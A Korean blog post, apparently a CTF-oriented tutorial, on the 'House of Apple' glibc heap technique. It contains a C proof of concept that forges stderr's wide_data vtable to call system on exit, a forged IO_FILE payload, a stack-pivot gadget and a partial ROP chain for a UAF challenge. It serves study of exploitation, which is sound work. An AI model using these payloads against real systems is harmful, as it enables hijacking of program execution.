House of Apple 기법을 활용한 glibc 공격

House of Apple은 glibc 2.23부터 최신 버전 2.36까지 사용 가능한 공격 기법이다. 공격 목표는 실행 흐름을 탈취하는 것이다. 활용 조건은 libc 베이스 주소와 힙 주소 누출이 가능해야 하며, 힙 주소를 임의 주소에 쓸 수 있어야 한다(주로 large bin attack 사용). 또한 main 함수 복귀, exit 함수 호출, 또는 __malloc_assert 트리거가 필요하다.

Large Bin Attack 재검토

glibc 업데이트에 따라 힙 주소를 임의 주소에 쓸 수 있는 방법이 제한적이다. Large bin attack의 핵심은 다음과 같다.

  1. chunkA를 large bin에 진입시킨다.
  2. chunkA의 bk_nextsizetarget_addr - 0x20으로 변경한다(0x20은 fd_nextsize 오프셋 때문).
  3. chunkA보다 작은 chunkB를 large bin에 진입시킨다.

코드 내부에서 다음 로직이 실행된다.

if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)) {
    fwd = bck;
    bck = bck->bk;
    victim->fd_nextsize = fwd->fd;
    victim->bk_nextsize = fwd->fd->bk_nextsize;
    fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}

공격 결과: 목표 주소 + 0x20 위치에 chunkB의 시작 주소가 기록된다.

IO_FILE 구조체와 wide_data

FILE 구조체는 열린 파일을 나타내며, chain 필드를 통해 연결 리스트를 형성한다. 리스트의 헤드는 IO_list_all이다. 프로그램 실행 시 stdin, stdout, stderr 세 개의 파일 스트림이 로드된다.

struct _IO_FILE {
    int _flags;
    char* _IO_read_ptr;
    char* _IO_read_end;
    char* _IO_read_base;
    char* _IO_write_base;
    char* _IO_write_ptr;
    char* _IO_write_end;
    char* _IO_buf_base;
    char* _IO_buf_end;
    char *_IO_save_base;
    char *_IO_backup_base;
    char *_IO_save_end;
    struct _IO_marker *_markers;
    struct _IO_FILE *_chain;
    int _fileno;
    int _flags2;
    _IO_off_t _old_offset;
    unsigned short _cur_column;
    signed char _vtable_offset;
    char _shortbuf[1];
    _IO_lock_t *_lock;
};

_IO_wide_data 구조체는 다음과 같다.

struct _IO_wide_data {
    wchar_t *_IO_read_ptr;
    wchar_t *_IO_read_end;
    wchar_t *_IO_read_base;
    wchar_t *_IO_write_base;
    wchar_t *_IO_write_ptr;
    wchar_t *_IO_write_end;
    wchar_t *_IO_buf_base;
    wchar_t *_IO_buf_end;
    wchar_t *_IO_save_base;
    wchar_t *_IO_backup_base;
    wchar_t *_IO_save_end;
    __mbstate_t _IO_state;
    __mbstate_t _IO_last_state;
    struct _IO_codecvt _codecvt;
    wchar_t _shortbuf[1];
    const struct _IO_jump_t *_wide_vtable;
};

_IO_jump_t는 파일 스트림의 다형성을 구현하는 함수 포인터 집합이다. _IO_wfile_jumps는 이를 상속받아 와이드 문자 스트림을 지원한다. vtable_IO_FILE_plus 구조체 내부의 _IO_jump_t 인스턴스다.

취약점 원리

_IO_FILEvtable 검증은 존재하지만, _IO_wide_datawide_vtable은 검증되지 않는다. 따라서 wide_vtable을 위조할 수 있다.

호출 체인은 다음과 같다.

_IO_wfile_jumps
    -> _IO_wfile_overflow
        -> _IO_wdoallocbuf
            -> _IO_WDOALLOCATE
                -> *(fp->_wide_data->_wide_vtable + 0x68)(fp)

제어해야 할 사항:

  1. fp의 vtable_IO_wfile_jumps로 설정
  2. fp->_wide_data->_wide_vtable + 0x68 위치에 실행할 코드 주소 배치

함수 및 진입 조건

_IO_OVERFLOW

if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
     || (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 
         && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)))
    && _IO_OVERFLOW (fp, EOF) == EOF)
    result = EOF;

_IO_wfile_overflow

_IO_wfile_overflow (FILE *f, wint_t wch) {
    if (f->_flags & _IO_NO_WRITES) { // 0x0008 검사1
        f->_flags |= _IO_ERR_SEEN;
        return WEOF;
    }
    if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0) { // 0x0800 검사2
        if (f->_wide_data->_IO_write_base == 0) { // 검사3
            _IO_wdoallocbuf (f);
        }
    }

_IO_wdoallocbuf

_IO_wdoallocbuf (FILE *fp) {
    if (fp->_wide_data->_IO_buf_base) // 검사4
        return;
    if (!(fp->_flags & _IO_UNBUFFERED)) // 0x0002 검사5
        if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)
            return;
    _IO_wsetb (fp, fp->_wide_data->_shortbuf, fp->_wide_data->_shortbuf + 1, 0);
}

우회 조건:

  • flag 필드를 ~(2 | 0x8 | 0x800)으로 설정
  • fp->_wide_data->_IO_write_base == 0
  • fp->_wide_data->_IO_buf_base == 0

공격 절차

  1. 위조된 _IO_FILE의 flag 필드를 ~(2 | 0x8 | 0x800)으로 설정(셸 획득 시 " sh;"로 설정 가능, 앞에 공백 두 개 주의)
  2. vtable_IO_wfile_jumps로 변경
  3. 호출 체인의 검사 우회(_wide_data->_IO_write_base == 0, _wide_data->_IO_buf_base == 0)
  4. _wide_data->_wide_vtable + 0x68에 실행할 코드 주소 기록
  5. _IO_OVERFLOW 트리거(fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)

POC 예제

#include<stdio.h>

int main() {
    setbuf(stdout, 0);
    setbuf(stdin, 0);
    setvbuf(stderr, 0, 2, 0);
    long long int libc_base = &printf - 0x60770;
    printf("libc_base -------> %llx\n", libc_base);
    long long int stderr_address = libc_base + 0x21a6a0;
    long long int wide_data_off = stderr_address + 0xa0;
    long long int vtable_off = stderr_address + 0xd8;
    long long int io_wfile_jumps = libc_base + 0x2160c0;
    long long int wd_write_base = *(long long int *)(wide_data_off) + 0x18;
    long long int wd_buf_base = *(long long int *)wide_data_off + 0x30;
    long long int wide_vtable = libc_base + 0x219980;
    long long int system_addr = libc_base + 0x50d60;
    long long int write_base_off = stderr_address + 0x20;
    long long int buf_base_off = stderr_address + 0x38;
    long long int system_ptr = wide_vtable - 8;

    *(long long int *)vtable_off = io_wfile_jumps;
    *(long long int *)write_base_off = 0;
    *(long long int *)wd_write_base = 0;
    *(long long int *)wd_buf_base = 0;
    *((long long int *)system_ptr) = system_addr;
    *(long long int *)wide_vtable = libc_base + 0x219910;
    *(long long int *)stderr_address = 0x3b68732020;
    exit(0);
    return 0;
}

실제 활용 예시

취약점 환경

메뉴 기반 프로그램으로 추가, 삭제, 수정, 출력 기능이 있다. 수정과 출력은 각각 한 번만 가능하며, 출력은 0x10바이트로 제한된다. add 함수는 세 가지 크기 옵션을 제공한다. delete 함수에는 UAF 취약점이 존재한다.

libc 및 힙 주소 누출

add(2)  # chunk 0 (large bin attack용 큰 청크)
add(1)  # chunk 1 (병합 방지)
add(1)  # chunk 2
add(1)  # chunk 3 (병합 방지)
delete(0)
delete(2)
write(0)  # unsorted bin에서 libc 및 힙 주소 누출

IO_FILE 구조체 위조

Large bin attack을 통해 _IO_list_all에 작은 청크 주소를 기록한 후, unlink를 유발하여 큰 청크 주소를 _IO_list_all에 기록한다. 첫 번째 위조된 구조체의 flag를 직접 제어할 수 없으므로, chain 필드를 통해 두 번째 위조된 구조체로 연결한다. 첫 번째 구조체는 _IO_write_base > _IO_write_ptr로 설정하여 _IO_OVERFLOW를 우회한다.

스택 마이그레이션을 위해 다음 가젯을 사용한다(RDI가 flag 필드를 가리킴).

<svcudp_reply+26>: mov rbp, QWORD PTR [rdi+0x48]
<svcudp_reply+30>: mov rax, QWORD PTR [rbp+0x18]
<svcudp_reply+34>: lea r13, [rbp+0x10]
<svcudp_reply+38>: mov DWORD PTR [rbp+0x10], 0x0
<svcudp_reply+45>: mov rdi, r13
<svcudp_reply+48>: call QWORD PTR [rax+0x28]

이를 통해 RSP를 제어하고 ORW 체인을 실행한다.

최종 익스플로잇(축약)

# 위조된 IO_FILE 구조체
io_list = p64(0xdeadbeef)
io_list += p64(~(2|0x8|0x800) + (1<<64))
io_list += p64(0)*3
io_list += p64(0) + p64(1)
io_list += p64(0)
io_list += p64(0xaaaaaaaa)*2
io_list += p64(leak_heap-0xf60-0x18)  # RDI+0x48
io_list += p64(0)*10
io_list += p64(leak_heap-0xf50)       # _wide_data
io_list += p64(0)*4
io_list += p64(leak_heap-0xe60)       # RBP 제어
io_list += p64(add_rsp_418)
io_list += p64(_IO_wfile_jumps)

# wide_data 영역
wide_data = p64(leak_heap-0xf58-0x28)
wide_data += p64(leave_ret)
wide_data += p64(0)*12
wide_data += p64(leak_heap-0xf50-0x28)
wide_data += p64(0)*8
wide_data += p64(0)                # RDI+0x48
wide_data += p64(0)*3
wide_data += p64(magic_gadget)
wide_data += p64(leak_heap-0xe80-0x8-0x68)*3

# ORW ROP 체인
rop = p64(pop_rdi) + p64(2)
rop += p64(pop_rsi) + p64(leak_heap-0xb56)
rop += p64(pop_rax) + p64(2)
rop += p64(pop_rdx_r12) + p64(0)*2
rop += p64(syscall)
# read, write 생략...

참고 자료

  • https://zikh26.github.io/posts/19609dd.html
  • https://www.roderickchan.cn/post/house-of-apple-一种新的glibc中io攻击方法-2/

태그: glibc house-of-apple large-bin-attack IO_FILE wide_vtable

6월 14일 01:39에 게시됨